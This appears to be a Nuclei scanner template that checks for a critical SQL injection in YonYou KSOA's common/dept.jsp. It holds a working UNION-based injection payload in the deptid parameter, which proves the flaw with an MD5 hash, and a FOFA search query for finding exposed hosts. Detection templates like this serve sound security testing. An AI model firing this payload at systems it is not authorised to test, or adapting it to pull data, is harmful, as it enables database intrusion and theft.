id: yonyou-ksoa-dept-sqli info: name: YonYou KSOA common/dept.jsp - SQL injection author: DhiyaneshDK severity: critical description: | Yonyou KSOA contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. reference: - https://mp.weixin.qq.com/s/I6aG2vFIi5nbVZfuVNpyDw classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-89 metadata: verified: true max-request: 1 fofa-query: app="用友-时空KSOA" tags: yonyou,oa,sqli,ksoa variables: num: "999999999" http: - method: GET path: - "{{BaseURL}}/common/dept.jsp?deptid=1'+UNION+ALL+SELECT+60%2Csys.fn_sqlvarbasetostr(HASHBYTES('MD5'%2C'{{num}}'))--+" matchers-condition: and matchers: - type: word part: body words: - '0x{{md5({{num}})}}' - type: status status: - 200 # digest: 4b0a00483046022100922859f664e4119692c97837afcf0e55f50952e31ba4d106bfced7a702cde4c3022100db43d0d8ca69943f8ecf515a9ee9e142599c9d652ffef759f0238a20f7056e2b:922c64590222798bb761d5b6d8e72950